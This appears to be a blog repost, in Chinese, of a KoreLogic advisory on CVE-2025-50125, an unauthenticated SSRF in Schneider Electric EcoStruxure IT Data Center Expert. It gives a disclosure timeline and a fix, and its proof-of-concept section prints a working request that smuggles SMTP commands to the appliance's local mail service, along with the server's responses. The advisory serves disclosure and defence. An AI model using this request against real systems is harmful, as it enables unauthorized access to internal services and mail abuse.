施耐德电气数据中心专家系统曝出未授权服务端请求伪造漏洞

本文详细分析了施耐德电气EcoStruxure IT Data Center Expert v8.3及更早版本中存在的未授权服务端请求伪造(SSRF)漏洞(CVE-2025-50125),攻击者可利用该漏洞通过恶意构造的HTTP请求头与内部服务如SMTP进行交互。

KL-001-2025-011: 施耐德电气EcoStruxure IT数据中心专家未授权服务端请求伪造漏洞

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT Data Center Expert
  • 受影响版本:8.3及更早版本
  • 平台:CentOS
  • CWE分类:CWE-918: 服务端请求伪造(SSRF)
  • CVE ID:CVE-2025-50125

2. 漏洞描述

数据中心专家(“DCE”)设备基于用户控制的值不安全地转发HTTP请求,使得未授权用户能够强制Web应用程序将数据发送到任意位置,例如监听在localhost上的SMTP服务。

3. 技术描述

当HTTP请求发送到"/plugins"或"/capturelogs"端点时,请求会根据"Host"请求头进行转发。由于"Host"请求头未经过验证,用户可以提供任何主机/端口组合,将数据发送到任意位置并查看响应,从而造成服务端请求伪造漏洞。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /plugins HTTP/1.1
Host: example.com

HTTP/1.1 404 Not Found
...
<!doctype html>
<html>
<head>
    <title>Example Domain</title>
...

上游路径不可控,且不遵循HTTP重定向。

除了发出受限的HTTP请求外,还可以将恶意数据发送到利用类似HTTP协议的其他服务,例如监听在设备环回地址上的SMTP服务。尝试向SMTP服务发送格式正确的HTTP请求会导致TCP连接过早断开,因为常见的HTTP动词是恶意活动的标志。然而,DCE设备采用的代理机制不验证动词,允许包含有效SMTP命令(如"EHLO"和"MAIL FROM")的畸形请求。

当接收到意外数据(如"Host"和"X-Forwarded-For"请求头)时,会返回良性错误而不断开TCP连接,允许后续发送额外的(格式正确的)SMTP命令。

4. 缓解和修复建议

EcoStruxure IT Data Center Expert版本9.0包含对这些漏洞的修复,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22:厂商确认收到KoreLogic的提交
  • 2024-12-06:厂商确认报告的漏洞
  • 2024-12-12:厂商请求与KoreLogic开会讨论此漏洞及相关提交的修复时间表
  • 2024-12-18:KoreLogic和施耐德电气同意将漏洞详情保密至产品更新9.0(约2025年7月)
  • 2025-01-29:厂商提供状态更新
  • 2025-03-17:厂商提供包含对此漏洞及KoreLogic报告的其他相关漏洞修复的测试版
  • 2025-06-20:厂商通知KoreLogic此漏洞的发布日期为2025-07-08
  • 2025-07-08:厂商公开披露
  • 2025-07-09:KoreLogic公开披露

7. 概念验证

此行为允许未授权攻击者与通常不暴露给互联网的服务(如设备的SMTP服务)进行交互,以进一步利用和枚举系统。

以下是发送到监听在TCP/80端口的DCE Web界面的HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
EHLO /plugins?%0a%0dfoobar HTTP/1.1
Host: 127.0.0.1:25
Content-Length: 137

HELO localhost
MAIL FROM:<root@localhost>
RCPT TO:<apcreset@localhost>
DATA
Subject: foobar

This is a test email body
.
QUIT

如HTTP响应所示,不代表有效SMTP命令的请求头被忽略,允许将正文解析为有效消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
...

220 dce.example.com ESMTP Sendmail 8.14.4/8.14.4; Mon, 1 Jul 2024 07:00:08 -0400501 5.0.0 Invalid domain name
500 5.5.1 Command unrecognized: "Host: 127.0.0.1:25"
500 5.5.1 Command unrecognized: "X-Forwarded-For: 192.168.2.65"
500 5.5.1 Command unrecognized: "X-Forwarded-Host: 127.0.0.1:25"
500 5.5.1 Command unrecognized: "X-Forwarded-Server: dce.example.com"
500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
500 5.5.1 Command unrecognized: "Content-Length: 141"
500 5.5.1 Command unrecognized: ""
250 dce.example.com Hello localhost.localdomain [127.0.0.1], pleased to meet you
250 2.1.0 <root@localhost>... Sender ok
250 2.1.5 <apcreset@localhost>... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 461B08WP030169 Message accepted for delivery
221 2.0.0 dce.example.com closing connection
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计